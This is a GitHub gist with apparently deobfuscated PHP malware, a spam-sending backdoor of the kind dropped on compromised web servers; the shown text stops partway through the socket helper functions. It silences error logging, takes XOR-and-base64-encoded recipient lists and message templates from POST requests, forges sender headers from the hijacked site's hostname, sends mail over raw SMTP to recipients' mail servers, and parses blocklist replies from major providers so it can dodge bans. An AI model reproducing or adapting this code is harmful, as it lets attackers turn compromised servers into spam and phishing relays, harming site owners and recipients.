Created
April 18, 2016 11:52
-
-
Save Swader/cf5fad5505b9aada970427a7e402cee2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@ini_set("error_log", NULL); | |
@ini_set("log_errors", 0); | |
@error_reporting(NULL); | |
$pate = '{".mx.aol.com":{"2":{"bl":["connecting ip zzip"]},"3":{"bl":[[554,"5.2.1"]]},"4":{"nu":[[550,"5.1.1"]],"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"bl":[[521,"5.2.1"],[421,"4.2.1"]]}},".att.net":{"3":{"bl":[[553,"5.3.0"],"zzip blocked by"]},"4":{"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"sr":["2 spam per"]}},".google.com":{"4":{"nu":[[550,"5.1.1"],[550,"5.2.1"],[552,"5.2.2"],[553,"5.1.2"]],"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"bl":["our system has detected","ip address sending"],"sr":["2 spam per"]}},".hotmail.com":{"3":{"bl":["ou 001","sc 001","sc 002","dy 001"],"gl":["pr ct1","rp 001"]},"4":{"nu":["mailbox unavailable"],"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"bl":["ou 001","sc 001","dy 001"],"sr":["2 spam per"]}},".icloud.com":{"4":{"bl":[[550,"5.7.1","spamhaus"],[550,"5.7.0","dnsbl"]],"nu":[[550,"5.1.1","alias"]],"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"sr":["2 spam per"]}},".yahoodns.net":{"3":{"bl":[[421,"4.7.1","ts03"],[550,"5.7.1","sb02"],[553,"5.7.1","spamhaus"],[553,"0.0.0","spamhaus"]],"gl":[[421,"4.7.0","gl01"],[421,"4.7.0","ts01"],[421,"4.7.0","ts02"]]},"4":{"sr":["on smtp authentication"],"sv":["sender verify failed"]},"6":{"nu":["user doesn t have"],"sr":["2 spam per"]}}}'; | |
$hosts_info = json_decode($pate, TRUE); | |
define("DNS_TYPE_MX", 0x000F); | |
define("DNS_TYPE_A", 0x0001); | |
define("DNS_TYPE_NS", 0x0002); | |
define("DNS_TYPE_PTR", 0x000C); | |
define("DNS_STEP_QESTION", 1); | |
define("DNS_STEP_ANSWER", 2); | |
define("DNS_STEP_AUTHORITY", 3); | |
define("DNS_STEP_ADDITIONAL", 4); | |
define("SOCKET_TYPE_SOCKET", 1); | |
define("SOCKET_TYPE_FSOCKET", 2); | |
define("SOCKET_TYPE_STREAM", 4); | |
define("SOCKET_TYPE_NO", 5); | |
define("SOCKET_PROTO_TCP", 1); | |
define("SOCKET_PROTO_UDP", 2); | |
define("STEP_CONNECT", 0); | |
define("STEP_CONNECTED", 1); | |
define("STEP_EHLO", 2); | |
define("STEP_MAILFROM", 3); | |
define("STEP_RCPTTO", 4); | |
define("STEP_DATA", 5); | |
define("STEP_BODY", 6); | |
define("STEP_QUIT", 7); | |
define("STEP_COMPLETED", 8); | |
detect_connection_type(NULL); | |
$spam_config = array( | |
"toList" => "", | |
"fromLogin" => "", | |
"fromName" => "", | |
"subjTempl" => "", | |
"bodyTempl" => "", | |
"hostFrom" => "" | |
); | |
if (FALSE == spam_config_load($spam_config)) { | |
echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]\n"; | |
exit; | |
} | |
$connections = array(); | |
for ($idx = 0; $idx < count($spam_config["toList"]); $idx++) { | |
$connection_info = array( | |
"id" => $idx, | |
"g_mailto" => "", | |
"g_mailto+" => "", | |
"g_mailfrom" => "", | |
"g_mailfrom+" => "", | |
"g_domainto" => "", | |
"g_domainfrom" => "", | |
"g_namefirst" => "", | |
"g_namelast" => "", | |
"g_body" => "", | |
"g_subject" => "", | |
"g_fff" => FALSE, | |
"g_header" => "", | |
"g_headerfrom" => "", | |
"s_header" => "", | |
"s_mxhost" => "", | |
"s_mxaddr" => FALSE, | |
"s_sock" => FALSE, | |
"s_time" => time(), | |
"s_step" => constant("STEP_CONNECT"), | |
"s_port" => 25, | |
"s_datain" => "", | |
"s_dataout" => "", | |
"s_trig" => FALSE, | |
"l_err" => "", | |
"l_done" => FALSE, | |
"l_way" => 0, | |
"l_failsmtp" => FALSE, | |
"l_smtp_end" => FALSE, | |
"l_smtp_log" => "" | |
); | |
if (FALSE == spam_prepare_connection($spam_config["toList"][$idx], $spam_config, $connection_info)) { | |
echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . base64_xor2_encode($spam_config["toList"][$idx]) . "]]\n"; | |
continue; | |
} | |
$connections[] = $connection_info; | |
} | |
$retry_time_storage = retry_storage_read(1); | |
if (count($retry_time_storage) > 0) { | |
echo PHP_OS . "+" . md5(1111111111) . "+06+[[" . base64_xor2_encode("Banned start: " . implode(",", array_keys($retry_time_storage))) . "]]\n"; | |
} | |
spam_send_messages($connections, $retry_time_storage, $hosts_info); | |
spam_report($connections); | |
retry_storage_write($retry_time_storage); | |
if (count($retry_time_storage) > 0) { | |
echo PHP_OS . "+" . md5(1111111111) . "+07+[[" . base64_xor2_encode("Banned stop: " . implode(",", array_keys($retry_time_storage))) . "]]\n"; | |
} | |
exit; | |
function spam_report($connections) | |
{ | |
$successful = 0; | |
$ljroq91 = ""; | |
for ($idx = 0; $idx < count($connections); $idx++) { | |
if ($connections[$idx]["l_failsmtp"] == TRUE) { | |
echo "" . PHP_OS . "+" . md5(2222222222) . "+04+[[" . base64_xor2_encode($connections[$idx]["g_mailto"] . " :: " . $connections[$idx]["l_err"]) . "]]\n"; | |
} | |
if ($connections[$idx]["l_done"] == TRUE) { | |
$ljroq91 .= $connections[$idx]["l_way"]; | |
$successful++; | |
} | |
} | |
if ($successful == 0) { | |
echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]\n"; | |
} else { | |
echo "OK+" . md5(1234567890) . "+" . $successful . "+" . count($connections) . "[" . $ljroq91 . "]\n"; | |
} | |
} | |
function spam_send_messages(&$connections, &$retry_time_storage, $hosts_info) | |
{ | |
while (connection_select($connections)) { | |
connection_process($connections, $retry_time_storage, $hosts_info); | |
usleep(25000); | |
} | |
} | |
function smtp_end(&$connections, $conn_idx, $yalpo8, $hiajt11) | |
{ | |
if ($connections[$conn_idx]["s_sock"] != FALSE) { | |
connection_close($connections[$conn_idx]["s_sock"]); | |
} | |
$port = ""; | |
if ($hiajt11 == TRUE) { | |
$port = "[" . $connections[$conn_idx]["s_port"] . "]"; | |
} | |
$connections[$conn_idx]["l_err"] = $port . "[" . $connections[$conn_idx]["s_step"] . "]" . trim(preg_replace("/\r\n/", " ", $yalpo8)); | |
$connections[$conn_idx]["l_failsmtp"] = $hiajt11; | |
$connections[$conn_idx]["l_smtp_end"] = TRUE; | |
return; | |
} | |
function connection_process(&$connections, &$retry_time_storage, $hosts_info) | |
{ | |
$ojlez0 = time(); | |
foreach ($connections as $conn_idx => $connection_info) { | |
if ($connection_info["l_smtp_end"] == TRUE) { | |
continue; | |
} | |
if ($connection_info["s_time"] + 20 < $ojlez0) { | |
if ($connections[$conn_idx]["s_step"] == constant("STEP_CONNECT") && $connections[$conn_idx]["s_port"] != 587) { | |
connection_close($connections[$conn_idx]["s_sock"]); | |
$connections[$conn_idx]["s_port"] = 587; | |
$connections[$conn_idx]["s_time"] = time(); | |
continue; | |
} | |
smtp_end($connections, $conn_idx, "timeout", FALSE); | |
continue; | |
} | |
if (!empty($retry_time_storage[find_host_info_key($hosts_info, $connections[$conn_idx])])) { | |
smtp_end($connections, $conn_idx, "Bcnf!", TRUE); | |
continue; | |
} | |
switch ($connections[$conn_idx]["s_step"]) { | |
case constant("STEP_CONNECT"): | |
if ($connections[$conn_idx]["s_mxaddr"] == FALSE) { | |
$connections[$conn_idx]["s_mxaddr"] = @gethostbyname($connections[$conn_idx]["s_mxhost"]); | |
if (!@preg_match("/([0-9]{1,3}\\.?){4}/", $connections[$conn_idx]["s_mxaddr"])) { | |
smtp_end($connections, $conn_idx, "resolve mx", FALSE); | |
break; | |
} | |
} | |
$error_code = 0; | |
$error_str = ''; | |
$connections[$conn_idx]["s_sock"] = connection_open($connections[$conn_idx]["s_sock"], constant("SOCKET_PROTO_TCP"), $connections[$conn_idx]["s_mxaddr"], $connections[$conn_idx]["s_port"], 2, $error_code, $error_str, TRUE); | |
if ($connections[$conn_idx]["s_sock"] == FALSE) { | |
break; | |
} | |
if ($error_code == 0 || $error_code === 56 || $error_code === 10056) { | |
$connections[$conn_idx]["s_step"] = constant("STEP_CONNECTED"); | |
connection_set_timeout($connections[$conn_idx]["s_sock"], 15); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
case constant("STEP_CONNECTED"): | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 220) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = "EHLO " . $connections[$conn_idx]["g_domainfrom"] . "\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_EHLO"); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
case constant("STEP_EHLO"): | |
if (smtp_write($connections, $conn_idx)) { | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 250) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = "MAIL FROM:<" . $connections[$conn_idx]["g_mailfrom"] . ">\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_MAILFROM"); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
} | |
break; | |
case constant("STEP_MAILFROM"): | |
if (smtp_write($connections, $conn_idx)) { | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 250) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = "RCPT TO:<" . $connections[$conn_idx]["g_mailto"] . ">\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_RCPTTO"); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
} | |
break; | |
case constant("STEP_RCPTTO"): | |
if (smtp_write($connections, $conn_idx)) { | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 250 && substr($connections[$conn_idx]["s_datain"], 0, 3) != 251) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = "DATA\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_DATA"); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
} | |
break; | |
case constant("STEP_DATA"): | |
if (smtp_write($connections, $conn_idx)) { | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 354) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = $connections[$conn_idx]["s_header"] . "\r\n" . $connections[$conn_idx]["g_body"] . "\r\n.\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_BODY"); | |
$connections[$conn_idx]["s_time"] = time(); | |
} | |
break; | |
} | |
break; | |
case constant("STEP_BODY"): | |
if (smtp_write($connections, $conn_idx)) { | |
if (smtp_read($connections, $conn_idx)) { | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_datain"] . "\n"; | |
if (substr($connections[$conn_idx]["s_datain"], 0, 3) != 250) { | |
$reason = smtp_get_error($hosts_info, $connections[$conn_idx], $retry_time_storage); | |
smtp_end($connections, $conn_idx, $reason . $connections[$conn_idx]["s_datain"], TRUE); | |
break; | |
} | |
$connections[$conn_idx]["s_datain"] = ""; | |
$connections[$conn_idx]["s_dataout"] = "QUIT\r\n"; | |
$connections[$conn_idx]["l_smtp_log"] .= $connections[$conn_idx]["s_dataout"] . "\n"; | |
$connections[$conn_idx]["s_step"] = constant("STEP_QUIT"); | |
$connections[$conn_idx]["s_time"] = time(); | |
$connections[$conn_idx]["l_done"] = TRUE; | |
$connections[$conn_idx]["l_way"] = 1; | |
} | |
break; | |
} | |
break; | |
case constant("STEP_QUIT"): | |
if (smtp_write($connections, $conn_idx)) { | |
smtp_end($connections, $conn_idx, "Success!", TRUE); | |
} | |
break; | |
} | |
} | |
} | |
function smtp_read(&$connections, $conn_idx) | |
{ | |
$error_code = 0; | |
$error_str = ""; | |
if ($connections[$conn_idx]["s_trig"] == FALSE) { | |
if (strlen($connections[$conn_idx]["s_datain"]) != 0) { | |
return TRUE; | |
} | |
return FALSE; | |
} | |
$data = connection_read($connections[$conn_idx]["s_sock"], 4086, $error_code, $error_str); | |
if ($data == FALSE || $data == "") { | |
if ($error_code != 35 && $error_code != 10035 && $error_code != 11 && $error_code != 10060) { | |
smtp_end($connections, $conn_idx, $error_str, FALSE); | |
return FALSE; | |
} | |
if (strlen($connections[$conn_idx]["s_datain"]) != 0) { | |
return TRUE; | |
} | |
return FALSE; | |
} | |
$connections[$conn_idx]["s_datain"] = $data; | |
return FALSE; | |
} | |
function smtp_write(&$connections, $conn_idx) | |
{ | |
$error_code = 0; | |
$error_str = ""; | |
if (strlen($connections[$conn_idx]["s_dataout"]) == 0) { | |
return TRUE; | |
} | |
$data = connection_write($connections[$conn_idx]["s_sock"], $connections[$conn_idx]["s_dataout"], $error_code, $error_str); | |
if ($data == FALSE) { | |
if ($error_code != 35 && $error_code != 10035 && $error_code != 11 && $error_code != 10060) { | |
smtp_end($connections, $conn_idx, $error_str, FALSE); | |
} | |
return FALSE; | |
} | |
$connections[$conn_idx]["s_dataout"] = substr($connections[$conn_idx]["s_dataout"], $data); | |
if (strlen($connections[$conn_idx]["s_dataout"]) == 0) { | |
return TRUE; | |
} | |
return FALSE; | |
} | |
function connection_select(&$connections) | |
{ | |
$result = FALSE; | |
if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET")) { | |
foreach (array_keys($connections) as $conn_idx) { | |
if ($connections[$conn_idx]["l_smtp_end"] != TRUE) { | |
$connections[$conn_idx]["s_trig"] = TRUE; | |
$result = TRUE; | |
} | |
} | |
return $result; | |
} | |
$sockets = array(); | |
foreach (array_keys($connections) as $conn_idx) { | |
if ($connections[$conn_idx]["l_smtp_end"] != TRUE) { | |
if ($connections[$conn_idx]["s_sock"] == 0 || $connections[$conn_idx]["s_step"] == constant("STEP_CONNECT")) { | |
$connections[$conn_idx]["s_trig"] = TRUE; | |
} else { | |
$connections[$conn_idx]["s_trig"] = FALSE; | |
$sockets[] = $connections[$conn_idx]["s_sock"]; | |
} | |
$result = TRUE; | |
} | |
} | |
if (count($sockets) == 0) { | |
return $result; | |
} | |
$bpcva59 = @socket_select($sockets, $uittw80 = NULL, $swvlp72 = NULL, 0); | |
if ($bpcva59 == FALSE || $bpcva59 == 0) { | |
return $result; | |
} | |
foreach (array_keys($connections) as $conn_idx) { | |
$connections[$conn_idx]["s_trig"] = FALSE; | |
foreach ($sockets as $jeqhx89) { | |
if ($connections[$conn_idx]["s_sock"] == $jeqhx89) { | |
$connections[$conn_idx]["s_trig"] = TRUE; | |
break; | |
} | |
} | |
} | |
return $result; | |
} | |
function detect_connection_type($ivtpn33) | |
{ | |
if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("socket_read") && function_exists("socket_write")) { | |
define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET")); | |
return TRUE; | |
} | |
if (function_exists("fsockopen")) { | |
define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET")); | |
return TRUE; | |
} | |
if (function_exists("stream_socket_client")) { | |
define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM")); | |
return TRUE; | |
} | |
define("SOCKET_TYPE", constant("SOCKET_TYPE_NO")); | |
return FALSE; | |
} | |
function spam_prepare_connection($zzixu78, $spam_config, &$connection_info) | |
{ | |
$matches = array(); | |
if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $zzixu78, $matches)) { | |
return FALSE; | |
} | |
if (!isset($matches) || count($matches) != 5) { | |
return FALSE; | |
} | |
$connection_info["g_namefirst"] = @ucfirst(str_replace(";", "", $matches[1])); | |
$connection_info["g_namelast"] = @ucfirst(str_replace(";", "", $matches[2])); | |
$connection_info["g_mailto"] = str_replace(";", "", $matches[3]); | |
$connection_info["g_domainto"] = str_replace(";", "", $matches[4]); | |
if (!isset($connection_info["g_mailto"]) || $connection_info["g_mailto"] == "") { | |
return FALSE; | |
} | |
if (!isset($connection_info["g_domainto"]) || $connection_info["g_domainto"] == "") { | |
return FALSE; | |
} | |
if (isset($connection_info["g_namefirst"]) && $connection_info["g_namefirst"] != "") { | |
$connection_info["g_mailto+"] = "\"" . $connection_info["g_namefirst"] . " " . $connection_info["g_namelast"] . "\" <" . $connection_info["g_mailto"] . ">"; | |
} else { | |
$connection_info["g_mailto+"] = $connection_info["g_mailto"]; | |
} | |
$connection_info["g_domainfrom"] = $spam_config["hostFrom"]; | |
if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $spam_config["hostFrom"]) || @ini_get("safe_mode")) { | |
$connection_info["g_fff"] = FALSE; | |
} else { | |
$connection_info["g_fff"] = TRUE; | |
} | |
$connection_info["g_mailfrom"] = $spam_config["fromLogin"] . "@" . $spam_config["hostFrom"]; | |
if (isset($spam_config["fromName"]) && $spam_config["fromName"] != "") { | |
$connection_info["g_mailfrom+"] = $spam_config["fromName"] . " <" . $connection_info["g_mailfrom"] . ">"; | |
} else { | |
$connection_info["g_mailfrom+"] = $connection_info["g_mailfrom"]; | |
} | |
$connection_info["s_mxhost"] = dns_lookup_mx($connection_info["g_domainto"]); | |
$connection_info["g_subject"] = @str_replace("%R_NAME%", $connection_info["g_namefirst"], $spam_config["subjTempl"]); | |
$connection_info["g_subject"] = @str_replace("%R_LNAME%", $connection_info["g_namelast"], $connection_info["g_subject"]); | |
$connection_info["g_body"] = @str_replace("%R_NAME%", $connection_info["g_namefirst"], $spam_config["bodyTempl"]); | |
$connection_info["g_body"] = @str_replace("%R_LNAME%", $connection_info["g_namelast"], $connection_info["g_body"]); | |
$connection_info["g_body"] = @str_replace("%MAIL_EN%", base64_xor2_encode($connection_info["g_mailto"]), $connection_info["g_body"]); | |
$connection_info["g_header"] = "X-Priority: 3 (Normal)\r\n"; | |
$connection_info["g_header"] .= "MIME-Version: 1.0\r\n"; | |
$connection_info["g_header"] .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; | |
$connection_info["g_header"] .= "Content-Transfer-Encoding: 8bit\r\n"; | |
$connection_info["g_headerfrom"] = "From: " . $connection_info["g_mailfrom+"] . "\r\n"; | |
if (@isset($spam_config["reptoAddr"]) && $spam_config["reptoAddr"] != "") { | |
$connection_info["g_headerfrom"] .= "Reply-To: " . $spam_config["reptoAddr"] . "\r\n"; | |
} else { | |
$connection_info["g_headerfrom"] .= "Reply-To: " . $connection_info["g_mailfrom+"] . "\r\n"; | |
} | |
$connection_info["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "\r\n"; | |
$connection_info["s_header"] .= $connection_info["g_headerfrom"]; | |
$connection_info["s_header"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $spam_config["hostFrom"] . ">\r\n"; | |
$connection_info["s_header"] .= "To: " . $connection_info["g_mailto+"] . "\r\n"; | |
$connection_info["s_header"] .= "Subject: " . $connection_info["g_subject"] . "\r\n"; | |
$connection_info["s_header"] .= $connection_info["g_header"]; | |
return TRUE; | |
} | |
function dns_lookup_mx($address) | |
{ | |
$oqvjg84 = array(); | |
$tkfer34 = array(); | |
if (function_exists("getmxrr")) { | |
@getmxrr($address, $oqvjg84, $tkfer34); | |
} else { | |
if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) { | |
return FALSE; | |
} | |
$bpcva59 = dns_lookup($address, constant("DNS_TYPE_MX")); | |
if ($bpcva59 == FALSE || !isset($bpcva59["ans"])) { | |
return FALSE; | |
} | |
foreach ($bpcva59["ans"] as $dns_record) { | |
if ($dns_record["type"] == constant("DNS_TYPE_MX")) { | |
$oqvjg84[] = $dns_record["data"]; | |
$tkfer34[] = $dns_record["preference"]; | |
} | |
} | |
} | |
if (count($oqvjg84) == 0) { | |
return FALSE; | |
} | |
$idx = array_keys($tkfer34, min($tkfer34)); | |
return $oqvjg84[$idx[0]]; | |
} | |
function dns_reverse_lookup($address) | |
{ | |
if (function_exists("gethostbyaddr")) { | |
return gethostbyaddr($address); | |
} | |
if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) { | |
return FALSE; | |
} | |
if (!preg_match("/^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/", $address, $xvvgy74)) { | |
return FALSE; | |
} | |
if (empty($xvvgy74) || count($xvvgy74) != 5) { | |
return FALSE; | |
} | |
$bpcva59 = dns_lookup($xvvgy74[4] . '.' . $xvvgy74[3] . '.' . $xvvgy74[2] . '.' . $xvvgy74[1] . ".in-addr.arpa", constant("DNS_TYPE_PTR")); | |
if ($bpcva59 == FALSE || !isset($bpcva59["ans"])) { | |
return FALSE; | |
} | |
foreach ($bpcva59["ans"] as $dns_record) { | |
if ($dns_record["type"] == constant("DNS_TYPE_PTR")) { | |
return $dns_record["data"]; | |
} | |
} | |
} | |
function spam_config_load(&$spam_config) | |
{ | |
if (count($_POST) < 2) { | |
return FALSE; | |
} | |
$is_base64_xor2_encoded = false; | |
$zcxzb2 = $jzsme68 = ""; | |
foreach (array_keys($_POST) as $vcmra37) { | |
if ($vcmra37[0] == "l") { | |
$zcxzb2 = $vcmra37; | |
} | |
if ($vcmra37[0] == "d") { | |
$jzsme68 = $vcmra37; | |
} | |
if ($vcmra37[0] == "e") { | |
$is_base64_xor2_encoded = true; | |
} | |
} | |
if ($zcxzb2 == "" || $jzsme68 == "") { | |
return FALSE; | |
} | |
$umkew22 = base64_xor2_url_decode_from_post($zcxzb2, $is_base64_xor2_encoded); | |
$tidwb68 = base64_xor2_url_decode_from_post($jzsme68, $is_base64_xor2_encoded); | |
if ($umkew22 == FALSE || $tidwb68 == FALSE) { | |
return FALSE; | |
} | |
$spam_config["toList"] = @preg_split("/#/", $umkew22); | |
$spam_config["fromLogin"] = $spam_config["fromName"] = $spam_config["subjTempl"] = $spam_config["bodyTempl"] = ""; | |
$matches = array(); | |
if (FALSE !== @preg_match("/<USER>(.*?)<\\/USER>/ism", $tidwb68, $matches) && isset($matches) && count($matches) > 1) { | |
$spam_config["fromLogin"] = $matches[1]; | |
} | |
if (FALSE !== @preg_match("/<NAME>(.*?)<\\/NAME>/ism", $tidwb68, $matches) && isset($matches) && count($matches) > 1) { | |
$spam_config["fromName"] = $matches[1]; | |
} | |
if (FALSE !== @preg_match("/<SUBJ>(.*?)<\\/SUBJ>/ism", $tidwb68, $matches) && isset($matches) && count($matches) > 1) { | |
$spam_config["subjTempl"] = $matches[1]; | |
} | |
if (FALSE !== @preg_match("/<REPTO>(.*?)<\\/REPTO>/ism", $tidwb68, $matches) && isset($matches) && count($matches) > 1) { | |
$spam_config["reptoAddr"] = $matches[1]; | |
} | |
if (FALSE !== @preg_match("/<SBODY>(.*?)<\\/SBODY>/ism", $tidwb68, $matches) && isset($matches) && count($matches) > 1) { | |
$spam_config["bodyTempl"] = $matches[1]; | |
} | |
$spam_config["hostFrom"] = @preg_replace("/^(www|ftp)\\./i", '', $_SERVER["HTTP_HOST"]); | |
if (preg_match("/^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$/", $spam_config["hostFrom"])) { | |
$rgzjv22 = dns_reverse_lookup($spam_config["hostFrom"]); | |
if ($rgzjv22 != FALSE) { | |
$spam_config["hostFrom"] = $rgzjv22; | |
} else { | |
$spam_config["hostFrom"] = "domain.com"; | |
} | |
} | |
if (($yioin41 = strpos($spam_config["hostFrom"], ":")) !== false) { | |
$spam_config["hostFrom"] = substr($spam_config["hostFrom"], 0, $yioin41); | |
} | |
$spam_config["hostFrom"] = @strtolower($spam_config["hostFrom"]); | |
return TRUE; | |
} | |
function base64_xor2_url_decode_from_post($vcmra37, $is_base64_xor2_encoded) | |
{ | |
if (!isset($vcmra37) || $vcmra37 == "") { | |
return FALSE; | |
} | |
$khywj70 = @$_POST[$vcmra37]; | |
if ($is_base64_xor2_encoded) { | |
$khywj70 = base64_decode($khywj70); | |
for ($idx = 0; $idx < strlen($khywj70); $idx++) { | |
$khywj70[$idx] = chr(ord($khywj70[$idx]) ^ 2); | |
} | |
} | |
return urldecode(stripslashes($khywj70)); | |
} | |
function base64_xor2_encode($neppe35) | |
{ | |
for ($idx = 0; $idx < strlen($neppe35); $idx++) { | |
$neppe35[$idx] = chr(ord($neppe35[$idx]) ^ 2); | |
} | |
return base64_encode($neppe35); | |
} | |
function base64_xor2_decode($hhepp43) | |
{ | |
$neppe35 = base64_decode($hhepp43); | |
for ($idx = 0; $idx < strlen($neppe35); $idx++) { | |
$neppe35[$idx] = chr(ord($neppe35[$idx]) ^ 2); | |
} | |
return $neppe35; | |
} | |
function connection_open($sp, $zljwn96, $urvjq67, $port, $timeout, &$error_code, &$error_str, $is_non_blocking = false) | |
{ | |
$hpzaj3 = ""; | |
$ditmu7 = NULL; | |
$deqzp74 = NULL; | |
$error_code = 0; | |
$error_str = ""; | |
if ($zljwn96 == constant("SOCKET_PROTO_TCP")) { | |
$hpzaj3 = "tcp"; | |
$ditmu7 = SOL_TCP; | |
$deqzp74 = SOCK_STREAM; | |
} else if ($zljwn96 == constant("SOCKET_PROTO_UDP")) { | |
$hpzaj3 = "udp"; | |
$deqzp74 = SOCK_DGRAM; | |
$ditmu7 = SOL_UDP; | |
} else { | |
$error_str = "Error: invalid protocol"; | |
return FALSE; | |
} | |
switch (constant("SOCKET_TYPE")) { | |
case constant("SOCKET_TYPE_SOCKET"): | |
if ($sp == FALSE) { | |
$sp = @socket_create(AF_INET, $deqzp74, $ditmu7); | |
if ($sp == FALSE) { | |
$error_code = socket_last_error(); | |
$error_str = socket_strerror($error_code); | |
break; | |
} | |
socket_set_option($sp, SOL_SOCKET, SO_REUSEADDR, 1); | |
socket_set_option($sp, SOL_SOCKET, SO_RCVTIMEO, array( | |
"sec" => $timeout, | |
"usec" => 0 | |
)); | |
socket_set_option($sp, SOL_SOCKET, SO_SNDTIMEO, array( | |
"sec" => $timeout, | |
"usec" => 0 | |
)); | |
if ($is_non_blocking) { | |
socket_set_nonblock($sp); | |
} | |
} | |
if (!@socket_connect($sp, $urvjq67, $port)) { | |
$error_code = socket_last_error($sp); | |
$error_str = socket_strerror($error_code); | |
} | |
if ($is_non_blocking) { | |
socket_set_nonblock($sp); | |
} | |
break; | |
case constant("SOCKET_TYPE_FSOCKET"): | |
$sp = @fsockopen($hpzaj3 . "://" . $urvjq67, $port, $error_code, $error_str, $timeout); | |
if ($sp && $is_non_blocking) { | |
@stream_set_blocking($sp, 0); | |
} | |
@stream_set_timeout($sp, $timeout); | |
break; | |
case constant("SOCKET_TYPE_STREAM"): | |
$sp = @stream_socket_client($hpzaj3 . "://" . $urvjq67 . ":" . $port, $error_code, $error_str, $timeout); | |
if ($sp && $is_non_blocking) { | |
@stream_set_blocking($sp, 0); | |
} | |
@stream_set_timeout($sp, $timeout); | |
break; | |
default: | |
$error_str = "Error: invalid socket type"; | |
return FALSE; | |
} | |
return $sp; | |
} | |
function connection_close(&$sp) | |
{ | |
if ($sp == FALSE) { | |
return; | |
} | |
